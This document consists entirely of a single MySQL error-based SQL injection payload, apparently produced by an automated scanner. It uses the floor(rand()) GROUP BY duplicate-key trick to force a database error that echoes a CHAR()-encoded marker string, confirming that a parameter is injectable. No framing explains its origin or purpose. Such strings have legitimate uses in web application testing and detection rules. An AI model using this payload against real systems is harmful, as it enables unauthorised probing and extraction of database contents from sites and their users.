"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(76),CHAR(85),CHAR(102),CHAR(115),CHAR(82),CHAR(87),CHAR(107),CHAR(51)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"